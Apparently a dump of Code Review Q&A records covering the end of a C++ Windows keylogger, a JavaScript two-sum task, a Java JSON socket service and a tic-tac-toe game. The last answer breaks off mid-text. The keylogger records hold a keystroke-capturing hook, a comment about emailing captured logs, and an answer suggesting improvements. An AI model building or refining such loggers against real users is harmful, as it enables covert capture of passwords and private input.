case 0x45: (!shift_down) ? key = "e" : key = "E"; break;
case 0x46: (!shift_down) ? key = "f" : key = "F"; break;
case 0x47: (!shift_down) ? key = "g" : key = "G"; break;
case 0x48: (!shift_down) ? key = "h" : key = "H"; break;
case 0x49: (!shift_down) ? key = "i" : key = "I"; break;
case 0x4A: (!shift_down) ? key = "j" : key = "J"; break;
case 0x4B: (!shift_down) ? key = "k" : key = "K"; break;
case 0x4C: (!shift_down) ? key = "l" : key = "L"; break;
case 0x4D: (!shift_down) ? key = "m" : key = "M"; break;
case 0x4E: (!shift_down) ? key = "n" : key = "N"; break;
case 0x4F: (!shift_down) ? key = "o" : key = "O"; break;
case 0x50: (!shift_down) ? key = "p" : key = "P"; break;
case 0x51: (!shift_down) ? key = "q" : key = "Q"; break;
case 0x52: (!shift_down) ? key = "r" : key = "R"; break;
case 0x53: (!shift_down) ? key = "s" : key = "S"; break;
case 0x54: (!shift_down) ? key = "t" : key = "T"; break;
case 0x55: (!shift_down) ? key = "u" : key = "U"; break;
case 0x56: (!shift_down) ? key = "v" : key = "V"; break;
case 0x57: (!shift_down) ? key = "w" : key = "W"; break;
case 0x58: (!shift_down) ? key = "x" : key = "X"; break;
case 0x59: (!shift_down) ? key = "y" : key = "Y"; break;
case 0x5A: (!shift_down) ? key = "z" : key = "Z"; break;
case 0x60: (!shift_down) ? key = "0" : key = "0"; break;
case 0x61: (!shift_down) ? key = "1" : key = "1"; break;
case 0x62: (!shift_down) ? key = "2" : key = "2"; break;
case 0x63: (!shift_down) ? key = "3" : key = "3"; break;
case 0x64: (!shift_down) ? key = "4" : key = "4"; break;
case 0x65: (!shift_down) ? key = "5" : key = "5"; break;
case 0x66: (!shift_down) ? key = "6" : key = "6"; break;
case 0x67: (!shift_down) ? key = "7" : key = "7"; break;
case 0x68: (!shift_down) ? key = "8" : key = "8"; break;
case 0x69: (!shift_down) ? key = "9" : key = "9"; break;
case 0x6A: (!shift_down) ? key = "*" : key = "*"; break;
case 0x6B: (!shift_down) ? key = "+" : key = "+"; break;
case 0x6D: (!shift_down) ? key = "-" : key = "-"; break;
case 0x6E: (!shift_down) ? key = "." : key = "."; break;
case 0x6F: (!shift_down) ? key = "/" : key = "/"; break;
case 0xBA: (!shift_down) ? key = ";" : key = ":"; break;
case 0xBB: (!shift_down) ? key = "=" : key = "+"; break;
case 0xBC: (!shift_down) ? key = "," : key = "<"; break;
case 0xBD: (!shift_down) ? key = "-" : key = "_"; break;
case 0xBE: (!shift_down) ? key = "." : key = ">"; break;
case 0xBF: (!shift_down) ? key = "/" : key = "?"; break;
case 0xC0: (!shift_down) ? key = "`" : key = "~"; break;
case 0xDB: (!shift_down) ? key = "[" : key = "{"; break;
case 0xDC: (!shift_down) ? key = "\\" : key = "|"; break;
case 0xDD: (!shift_down) ? key = "]" : key = "}"; break;
case 0xDE: (!shift_down) ? key = "'" : key = "\""; break;
}
}
*(this_->out_) << key;
}
return CallNextHookEx(NULL, code, wparam, lparam);
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:19:07.563",
"Id": "420893",
"Score": "1",
"body": "Are there keyboard scan codes or just actual ASCII codes? If the latter it's better to just interpret the `vkCode` as `char` (calling `toupper`-like function if needed), without a lot of `case-break` labels (which is very error-prone because the `break` is easy to forget, leaving a fallthrough)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:29:38.100",
"Id": "420894",
"Score": "0",
"body": "@trolley813 It's not ASCII, but `0x41` to `0x5A` matches all uppercase letters from A-Z in the ASCII table. So that's a great idea."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T10:31:47.130",
"Id": "420895",
"Score": "0",
"body": "Even if it isn't it may be good to write a conversion function (which can be far easier because 0x41 to 0x5a (and 0x30 to 0x39) match to the corresponding ranges in ASCII)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:21:09.890",
"Id": "421034",
"Score": "0",
"body": "I'm wondering how the `keylogger` class is being used... is it created and used in a `main` function?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:28:32.500",
"Id": "421036",
"Score": "0",
"body": "@TrebledJ yes, you just create an instance passing it an `std::ostream`, and call run. This should be threaded, so you can periodically send to email, etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-22T13:52:03.150",
"Id": "426481",
"Score": "0",
"body": "Parts of your code are missing, which may be part of the cause why your question hasn't received reviews yet. More context => better questions => more/better reviews."
}
] | [
{
"body": "<p>It's an old review, but I tried the code out, so, some pointers:</p>\n<ul>\n<li><p><code>keylogger.h</code> is missing <code>#include <ostream></code> - your code is not complete without it.</p>\n</li>\n<li><p>Instantiating the <code>keylogger</code> with a pointer to an <code>ostream</code> without checking for <code>nullptr</code> is unsafe. Take it by reference instead. You can still store a pointer though.</p>\n</li>\n<li><p>Every <code>keylogger</code> instance will overwrite the <code>static</code> <code>this_</code> and <code>this_->out_</code> will be used for output instead of using the <code>ostream</code> that was supplied when constructing the <code>keylogger</code> instance. This is very confusing for a user. Either:</p>\n<ol>\n<li>If only one <code>ostream</code> is supposed to be used, make <code>keylogger</code> a proper singleton.</li>\n<li>Install a unique hook for each thread (set <code>dwThreadId</code> to <code>GetCurrentThreadId()</code>) and make <code>out_</code> a <code>static thread_local</code> instead.</li>\n</ol>\n</li>\n<li><p>The <code>keylogger</code> doesn't stop its <code>run()</code> loop when the <code>keylogger</code> goes out of scope. It should probably be self-installing and uninstalling itself when going out of scope. Something is left unhandled in that department.</p>\n</li>\n<li><p>The return value from <code>SetWindowsHookEx</code> isn't checked - <code>throw</code> if installing the hook fails.</p>\n</li>\n</ul>\n<p>Those are just some things to deal with to improve the logger a bit.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-13T00:33:08.783",
"Id": "249295",
"ParentId": "217475",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "249295",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T09:20:56.090",
"Id": "217475",
"Score": "13",
"Tags": [
"c++",
"beginner",
"event-handling",
"windows",
"winapi"
],
"Title": "Windows keylogger in C++"
} | 217475 |
<p><strong>The task</strong></p>
<p>...is taken from <a href="https://leetcode.com/problems/two-sum/" rel="nofollow noreferrer">leetcode</a></p>
<blockquote>
<p>Given an array of integers, return indices of the two numbers such
that they add up to a specific target.</p>
<p>You may assume that each input would have exactly one solution, and
you may not use the same element twice.</p>
<p>Example:</p>
<p>Given nums = [2, 7, 11, 15], target = 9,</p>
<p>Because nums[0] + nums<a href="https://leetcode.com/problems/two-sum/" rel="nofollow noreferrer">1</a> = 2 + 7 = 9, return [0, 1].</p>
</blockquote>
<pre><code>const lst = [11, 7, 15, 2]
const target = 9;
</code></pre>
<p><strong>My imperative solution</strong></p>
<pre><code>function findIndexOfSumPair(lst, trgt) {
const len = lst.length;
for (let i = 0; i < len; i++) {
const found = lst.findIndex(x => trgt - lst[i] === x);
if (found !== i && found !== -1) {
return [found, i];
}
}
}
console.log(findIndexOfSumPair(lst, target));
</code></pre>
<p><strong>My functional solution</strong></p>
<pre><code>const findIndexOfSumPair2 = (lst, trgt) => {
return lst.reduce((res, x, i) => {
const j = lst.findIndex(y => target - x === y);
return j !== -1 ? [i, j] : res;
});
};
console.log(findIndexOfSumPair2(lst, target));
</code></pre>
<p>The disadvantage with my functional solution is that reduce iterates till the end of the array - even though it may have found a solution already. I tried to come up with a functional that stops iterating once it found a solution. I could come up with this. However it is too verbose and relies on side-effects (which doesn't make it functional anymore):</p>
<pre><code>const findIndexOfSumPair3 = (lst, trgt) => {
let res;
lst.some((x, i) => -1 !== lst.findIndex((y, j) => {
if (i !== j && trgt - y === x) {
res = [j, i];
return true;
}
}));
return res;
};
console.log(findIndexOfSumPair3(lst, target));
</code></pre>
<p>Do you know an elegant and efficient functional solution?</p>
| [] | [
{
"body": "<p>Both your solutions work, however they are inefficient. A warning sign is when you need to iterate the array you are iterating. Even if the inner iteration can exit early, always consider the worst possible situation. </p>\n\n<pre><code>return lst.reduce((res, x, i) => { // << first iteration\n const j = lst.findIndex(y => target - x === y); // << second iteration\n</code></pre>\n\n<p>The result is <span class=\"math-container\">\\$O(n^2)\\$</span> time complexity</p>\n\n<h2>Improved search</h2>\n\n<p>When ever you repeat a search over the same data many times you should consider using a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\" rel=\"nofollow noreferrer\">Map</a> or a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\" rel=\"nofollow noreferrer\">Set</a></p>\n\n<p>In this case we can take advantage of the fact that the values we have already looked at provide information about the values we want.</p>\n\n<p>If we have the arguments <code>([1,2,3,5], 7)</code> as we step over each item we can build map of the items we want. For 1, we need a 6, 2 needs a 5, 3 needs a 4, and when you get to 5 you know you need that value and thus have a result.</p>\n\n<p>Thus we get a solution that is <span class=\"math-container\">\\$O(n)\\$</span> time, exchanging CPU cycles for memory (<span class=\"math-container\">\\$O(n)\\$</span> storage)</p>\n\n<h3>Example 1</h3>\n\n<pre><code>function find2SumTo(arr, k){\n const lookFor = new Map();\n var i = arr.length;\n while (i--) {\n if (lookFor.has(arr[i])) { return [i, lookFor.get(arr[i])] }\n lookFor.set(k - arr[i], i);\n }\n} // Note no final return as data is know to always have a result\n</code></pre>\n\n<h2>The functional approach.</h2>\n\n<p>You don't have to use the built in array functions, you can add to the <code>Array.prototype</code> a more useful function.</p>\n\n<pre><code>// Finds information related to an item\nArray.prototype.findInfo = function(cb) { // Must be function() to bind array to this\n var i = 0;\n while(i < this.length) {\n const result = cb(this[i], i++, this);\n if (result) { return result }\n }\n}\n</code></pre>\n\n<p>With the new array function you can solve the problem with</p>\n\n<pre><code>const find2SumTo = (arr, k) => arr.findInfo((x, i) => \n arr.findInfo((y, j) => {\n if (i !== j && k - y === x) { return [j, i] }\n });\n</code></pre>\n\n<p>However it is still an <span class=\"math-container\">\\$O(n^2)\\$</span> time solution.</p>\n\n<h2>Imperative functional</h2>\n\n<p>The better functional approach is the first solution (Example 1). Functional does not mean you have to use lots of functions. It means that your solution must conform to the functional rules, no side effect, be pure. The function can be as complex as you need to avoid breaking the rules.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:24:11.647",
"Id": "420861",
"Score": "0",
"body": "Regarding example 1: Is decrementing and using loops still considered functional?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:39:59.777",
"Id": "420862",
"Score": "0",
"body": "Also in example 1, don’t you rely on side effects by setting the Map?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:57:18.803",
"Id": "420864",
"Score": "1",
"body": "@thadeuszlay \"decrementing and using loops\" yes it is still functional. Example 1 has no side effects, the map is defined inside the function. Side fx refers to changes made to data outside the functions scope. Think of it like.. (can the function complete its task independent (on a separate device) of the calling functions scope, if so it has no side fx.)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T02:44:34.720",
"Id": "217527",
"ParentId": "217484",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217527",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:33:40.580",
"Id": "217484",
"Score": "0",
"Tags": [
"javascript",
"algorithm",
"programming-challenge",
"functional-programming",
"ecmascript-6"
],
"Title": "Find indices of two numbers such that they add up to a target"
} | 217484 |
<p>My goal was to create a Java service on Windows that runs locally and communicates with local programs using JSON. The service should be reliable and robust.</p>
<p>The service runs a ServerSocket and receives receives and responds to JSON messages. The following is a skeleton, where appropriate "commands" will be added to the SigningController class. The service will likely stay small-scale, and will contain ~10 different commands.</p>
<p><strong>Questions</strong></p>
<p>Is the service reliable (i.e. no hangups, resource leaks etc)?</p>
<p>Critique of the overall design/implementation is welcome.</p>
<p>The service is installed with <em>nssm</em> and the bat files</p>
<p><strong>install.bat</strong> (as administrator)</p>
<pre><code>@echo off
pushd %~dp0
nssm.exe stop JavaSigningService
nssm.exe remove JavaSigningService confirm
nssm.exe install JavaSigningService %~dp0start.bat
nssm.exe start JavaSigningService
popd
pause
</code></pre>
<p><strong>start.bat</strong></p>
<pre><code>java -Xmx512m -jar signingservice.jar
</code></pre>
<p>POM file and classes below.</p>
<p><strong>pom.xml</strong></p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<mainClass>Server.Main</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<finalName>signingservice</finalName>
<appendAssemblyId>false</appendAssemblyId>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<modelVersion>4.0.0</modelVersion>
<groupId>...</groupId>
<artifactId>signingservice</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.8.5</version>
</dependency>
</dependencies>
</project>
</code></pre>
<p><strong>Main</strong></p>
<pre><code>package Server;
import java.net.ServerSocket;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class Main {
public static void main(String[] args) {
int port = Integer.parseInt(args[0]);
try (ServerSocket listener = new ServerSocket(port)) {
System.out.println("Server is running...");
ExecutorService pool = Executors.newFixedThreadPool(10);
while (true) {
try {
pool.execute(new Signer(listener.accept()));
} catch (Exception e){
// Log
}
}
} catch (Exception e) {
// Log
} finally {
System.exit(0);
}
}
}
</code></pre>
<p><strong>Utils</strong></p>
<pre><code>package Server;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import java.io.PrintWriter;
import java.io.StringWriter;
public class Utils {
private static JsonParser parser = new JsonParser();
public static JsonObject getJsonFromString(String str) throws Exception{
JsonObject jsonObject = parser.parse(str).getAsJsonObject();
return jsonObject;
}
public static String getJsonProperty(JsonObject json, String property){
String value = null;
try {
value = json.get(property).getAsString();
} catch (Exception e) {}
return value;
}
public static JsonObject errorMessageTemplate(Exception e){
JsonObject result = new JsonObject();
result.addProperty("result", "ERROR");
result.addProperty("errormessage", e.getMessage());
result.addProperty("stacktrace", stackTraceAsString(e));
return result;
}
public static String stackTraceAsString(Exception e){
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
return sw.toString();
}
}
</code></pre>
<p><strong>SigningController</strong></p>
<pre><code>package Server;
import com.google.gson.JsonObject;
public class SigningController {
public static JsonObject handle(JsonObject received) throws Exception{
String command = Utils.getJsonProperty(received, "command");
if("echo".equals(command)){
return simpleEcho(received);
}
return Utils.errorMessageTemplate(new Exception("Command not specified or unknown."));
}
public static JsonObject simpleEcho(JsonObject received) throws Exception{
String data = "" + Utils.getJsonProperty(received, "data");
JsonObject result = new JsonObject();
result.addProperty("result", "OK");
result.addProperty("data", data);
return result;
}
}
</code></pre>
<p><strong>Signer</strong></p>
<pre><code>package Server;
import com.google.gson.JsonObject;
import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
public class Signer implements Runnable{
private Socket socket;
private BufferedReader socketIn;
private PrintWriter socketOut;
Signer(Socket socket) throws IOException {
this.socket = socket;
this.socket.setSoTimeout(60*1000); // read timeout in milliseconds
socketIn = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));
socketOut = new PrintWriter(new OutputStreamWriter(socket.getOutputStream(), StandardCharsets.UTF_8), true);
}
@Override
public void run() {
System.out.println("Connected: " + socket);
try {
socketOut.println("hello");
String line = socketIn.readLine();
JsonObject json = Utils.getJsonFromString(line);
JsonObject result = SigningController.handle(json);
socketOut.println(result);
} catch (Exception e){
// Log
System.out.println("Error: " + socket);
e.printStackTrace();
try {
socketOut.println(Utils.errorMessageTemplate(e));
} catch (Exception e1) {}
} finally{
// Cleanup
try{
socketIn.close();
} catch (IOException e){
e.printStackTrace();
}
try{
socketOut.close();
} catch (Exception e){
e.printStackTrace();
}
try{
socket.close();
System.out.println("Closed: " + socket);
} catch (IOException e){
e.printStackTrace();
}
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:36:08.857",
"Id": "420778",
"Score": "3",
"body": "I appreciate the well formatted post, but unfortunately the questions you present are off topic in code review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:50:29.877",
"Id": "420915",
"Score": "0",
"body": "Except for the Maybe Off-topic paragraph this is a well asked question. How to questions are more for our sister website stackoverflow.com. Could you perhaps ask it there instead?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:49:14.610",
"Id": "421038",
"Score": "1",
"body": "The question might need to be rephrased a little, but in essence this is perfectly reviewable. There's a memory concern, ok, we can deal with memory/performance/readability concerns just fine. user3050748, please take a look at our FAQ on [How to get the best value out of Code Review - Asking Questions](https://codereview.meta.stackexchange.com/q/2436/52915)"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T10:43:12.560",
"Id": "217486",
"Score": "1",
"Tags": [
"java",
"multithreading",
"json",
"socket"
],
"Title": "Java local service with sockets"
} | 217486 |
<p>I have this tic tac toe game which is very old project of mine, though I made some changes on this to improve the script to perform better.</p>
<p>This game is functional, Any logic improvements or other suggestions are greatly appreciated.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>// tic tac toe v0.2, revised on 20th October, 2018;
var turn = 0; //is used for checking players turns...
var box = document.getElementsByClassName("box"); // one variable for all nine boxes...
var board = document.getElementById("board");
var modalParent = document.getElementById('modal-container');
var modal = modalParent.getElementsByClassName('custom-modal')[0];
//this function rotates the board randomly ...
function rotateBoard() {
var rotator = ["transform:rotate(0deg)", "transform:rotate(90deg)", "transform:rotate(180deg)", "transform:rotate(270deg)"];
board.setAttribute("style", rotator[Math.floor(Math.random() * 4)]);
}
// this function will check which palyer wins....
// when we set the value of each X to 2, all winning chances are here like this.
// result of each row/column/slash is 6 when X wins.
//
// 6 6 6 6
// " " " //
// 2 | 2 | 2 = 6
// -----+-----+----
// 2 | 2 | 2 = 6
// -----+-----+----
// 2 | 2 | 2 = 6
//
// setting all O to value 5 will make a winning number to 15 from all sides, unless these seven results
// is equal to 6 or 15 , its a tie match. lets see if the function works or not ....
//
// 15 15 15 15
// " " " //
// 5 | 5 | 5 = 15
// -----+-----+----
// 5 | 5 | 5 = 15
// -----+-----+----
// 5 | 5 | 5 = 15
// this function handles the win results inside a popup;
var popUpWindow = function(playerImagePosition) {
modalParent.style.opacity = '1';
modalParent.style.zIndex = '100';
modal.style.zIndex = '200';
if (playerImagePosition === 'tie') {
modal.getElementsByTagName('h2')[0].innerHTML = "It's a Tie";
} else {
modal.getElementsByClassName('player-won')[0].style.backgroundPositionX = playerImagePosition;
}
modal.getElementsByTagName('button')[0].addEventListener('click', function() {
window.location.reload(true);
});
};
function winCheck() {
var rowOne = parseInt(box[0].dataset.playerType) +
parseInt(box[1].dataset.playerType) +
parseInt(box[2].dataset.playerType);
var rowTwo = parseInt(box[3].dataset.playerType) +
parseInt(box[4].dataset.playerType) +
parseInt(box[5].dataset.playerType);
var rowThree = parseInt(box[6].dataset.playerType) +
parseInt(box[7].dataset.playerType) +
parseInt(box[8].dataset.playerType);
var colOne = parseInt(box[0].dataset.playerType) +
parseInt(box[3].dataset.playerType) +
parseInt(box[6].dataset.playerType);
var colTwo = parseInt(box[1].dataset.playerType) +
parseInt(box[4].dataset.playerType) +
parseInt(box[7].dataset.playerType);
var colThree = parseInt(box[2].dataset.playerType) +
parseInt(box[5].dataset.playerType) +
parseInt(box[8].dataset.playerType);
var backSlash = parseInt(box[0].dataset.playerType) +
parseInt(box[4].dataset.playerType) +
parseInt(box[8].dataset.playerType);
var forwardSlash = parseInt(box[2].dataset.playerType) +
parseInt(box[4].dataset.playerType) +
parseInt(box[6].dataset.playerType);
var possibilities = [rowOne, rowTwo, rowThree, colOne, colTwo, colThree, backSlash, forwardSlash];
// like explained above comments with diagram, any item from the above array should return 1 or 2 if a player
// wins, it can return 2 because a player can sometimes win from 2 possible lines maximum;
var xWin = possibilities.filter(scope => scope === 6);
var oWin = possibilities.filter(scope => scope === 15);
var tie = possibilities.filter(scope => isNaN(scope));
// now take care of who won the game
if (xWin.length === 1 || xWin.length === 2) {
popUpWindow('200%');
} else if (oWin.length === 1 || oWin.length === 2) {
popUpWindow('100%');
} else if (tie.length === 0 && xWin.length === 0 && oWin.length === 0) {
popUpWindow('tie');
}
}
var turnCheck = function(event) {
if (event.target.classList.contains('box')) {
if (event.target.getAttribute('data-player-type') === null) {
event.target.setAttribute('data-player-type', (turn % 2 === 0) ? 2 : 5);
event.target.style.backgroundPosition = (turn % 2 === 0) ? '200% 0' : '100% 0';
turn++;
winCheck();
}
}
};
board.addEventListener('click', turnCheck);
// only for personal portfolio page;
document.body.addEventListener("dblclick", function reload() {
location.reload(true);
});
// rotate the board when window loads;
rotateBoard();</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>* {
margin: 0;
padding: 0;
box-sizing: border-box;
cursor: default
}
body {
background-color: transparent;
font-family: monospace;
max-width: 1280px;
margin: 80px auto
}
body h1 {
margin-bottom: 10px
}
body .boundary {
width: 500px;
height: 500px
}
body .boundary .board {
width: 100vw;
height: 100vw;
background-image: url('https://towkir.github.io/tictactoe/dist/images/boardback.svg');
background-size: 100%;
max-width: 500px;
max-height: 500px
}
body .boundary .board .box {
height: 33.33%;
width: 33.33%;
float: left;
background-image: url('https://towkir.github.io/tictactoe/dist/images/players.png');
background-size: 300%
}
body #controls,
body #tictactoe {
display: block;
width: 100%;
max-width: 600px;
height: 220px;
margin: 30px 0
}
body #controls {
height: 120px
}
body #tictactoe table td a {
padding: 1px 5px;
background: rgba(128, 128, 128, .3);
border-radius: 2px;
text-decoration: none;
color: inherit;
cursor: pointer
}
body #tictactoe table td a:active,
body #tictactoe table td a:focus,
body #tictactoe table td a:hover {
background: rgba(128, 128, 128, .5);
outline: 0;
color: inherit
}
body #modal-container {
background-color: rgba(0, 0, 0, .8);
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100vh;
display: block;
z-index: -100;
opacity: 0;
transition: opacity .3s ease-in-out
}
body #modal-container .custom-modal {
background-color: #fff;
position: fixed;
min-width: 300px;
left: 50%;
top: 40%;
border-radius: 4px;
z-index: -200;
padding: 20px;
transform: translate(-50%, -50%)
}
body #modal-container .custom-modal h2 {
font-size: 60px
}
body #modal-container .custom-modal h2 .player-won {
width: 80px;
height: 80px;
display: inline-block;
vertical-align: middle;
background-image: url('https://towkir.github.io/tictactoe/dist/images/players.png');
background-size: 240px;
background-position-x: 0
}
body #modal-container .custom-modal button {
display: block;
border: 0;
background-color: #90ee90;
width: 100%;
padding: 10px;
font-family: monospace;
font-size: 20px;
margin-top: 20px;
cursor: pointer
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="boundary" id="boundary">
<div class="board" id="board" style="transform:rotate(180deg)">
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
</div>
</div>
<div id="tictactoe">
<h1>Tic Tac Toe</h1>
<p>Among all the games, Tic Tac Toe seems to be the simplest, and this one is the simplest of all Tic Tac Toes out there. This is in two player mode, so the computer won't bother you at all. <br> Have fun with Noughts and Crosses. </p>
<br>
<table>
<tbody>
<tr>
<td>Technology Used:</td>
<td>HTML, CSS, JavaScript.</td>
</tr>
<tr>
<td>Difficulty:</td>
<td>What ? why would it be difficult ??</td>
</tr>
<tr>
<td>Source Code:</td>
<td>See the source code on <a href="https://github.com/towkir/tictactoe" target="_blank">This GitHub
Repo</a></td>
</tr>
</tbody>
</table>
</div>
<div id="controls">
<h1>Game Controls</h1>
<p><b>Reset:</b> Double click on the gamefield to reset to new game.</p>
</div>
<div id="modal-container">
<div class="custom-modal">
<h2><span class="player-won"></span> wins</h2>
<button type="button" id="reload">Play Again</button>
</div>
</div></code></pre>
</div>
</div>
</p>
| [] | [
{
"body": "<h2>Style and code</h2>\n\n<ul>\n<li><p>Numeric styles can be set using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number\" rel=\"nofollow noreferrer\"><code>Number</code></a>. eg <code>modalParent.style.opacity = '1';</code> can be <code>modalParent.style.opacity = 1;</code></p></li>\n<li><p>To convert a string to a number use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number\" rel=\"nofollow noreferrer\"><code>Number</code></a> rather than <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt\" rel=\"nofollow noreferrer\"><code>parseInt</code></a>, or coerce the value eg <code>const foo = \"1\" * 1</code></p></li>\n<li><p>Good code style's most important attribute is consistency. If you use a particular style use the same style throughout the code.</p>\n\n<p>When defining a function you switch between the form <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function\" rel=\"nofollow noreferrer\">function declaration</a> (<code>function name(){</code>) and <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function\" rel=\"nofollow noreferrer\">function expression</a> (<code>const name = function() {</code>). Be consistent and use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function\" rel=\"nofollow noreferrer\">function declarations</a>.</p></li>\n<li><p>When setting an element/node content and it is just text use the <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent\" rel=\"nofollow noreferrer\"><code>textContent</code></a> property, it does not require a re-flow and is thus more efficient then using <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/id\" rel=\"nofollow noreferrer\"><code>innerHTML</code></a> which forces parsing and re-flow of the page.</p></li>\n<li><p>It is good practice to ensure that <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/id\" rel=\"nofollow noreferrer\">element.id</a><sup><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/id\" rel=\"nofollow noreferrer\">(*1)</a></sup> are unique to the page. If you do this then you can then use direct element reference<sup>(*4)</sup> to access elements without the need to cache or query the DOM.</p>\n\n<p>eg <code><div id=\"myDiv\"></div> <script> myDiv.textContent = \"hello world\" </script></code> </p></li>\n<li><p>Try to keep the code <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">DRY (don't repeat yourself)</a>. The function <code>winCheck</code> is very <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">WET (write everything twice)</a> and can be simplified (see example).</p></li>\n<li><p>Elements have a <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset\" rel=\"nofollow noreferrer\">dataset</a> property. It is intended as a custom property that is part of the markup, changing a <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset\" rel=\"nofollow noreferrer\">dataset</a> property changes the markup. </p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset\" rel=\"nofollow noreferrer\">dataset</a> is not intended as a means of inter-script communication. Elements as with all JS object are highly polymorphic<sup><a href=\"https://en.wikipedia.org/wiki/Polymorphism_(computer_science)\" rel=\"nofollow noreferrer\">(*2)</a></sup><sup><a href=\"https://en.wikipedia.org/wiki/Ad_hoc_polymorphism\" rel=\"nofollow noreferrer\">(*3)</a></sup> and as such you can add and remove properties as required. See example.</p>\n\n<p>If you do access <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset\" rel=\"nofollow noreferrer\">dataset</a> properties in JS you should use the direct property name reference rather than indirectly via the <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute\" rel=\"nofollow noreferrer\"><code>setAttribute</code></a> function which is only intended to be to access undefined (Not in the DOM API) DOM properties. eg <code><div id=\"myDiv\" data-foo-bar=\"0\"></div><script> const val = myDiv.dataset.fooBar; myDiv.dataset.fooBar = 2 </script></code></p></li>\n<li><p>You have a variety of <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">magic numbers</a> throughout the code. Try to collect all constants in one place and name them appropriately.</p></li>\n<li><p>Always use the simplest code form. eg There are 6 redundant characters in the expression <code>(turn % 2 === 0) ? 2 : 5</code> the brackets are redundant <code>turn % 2 === 0 ? 2 : 5</code> Invert the condition and test for <code>truthy</code> <code>turn % 2 ? 5 : 2</code></p></li>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window\" rel=\"nofollow noreferrer\"><code>window</code></a> is the default object (the <a 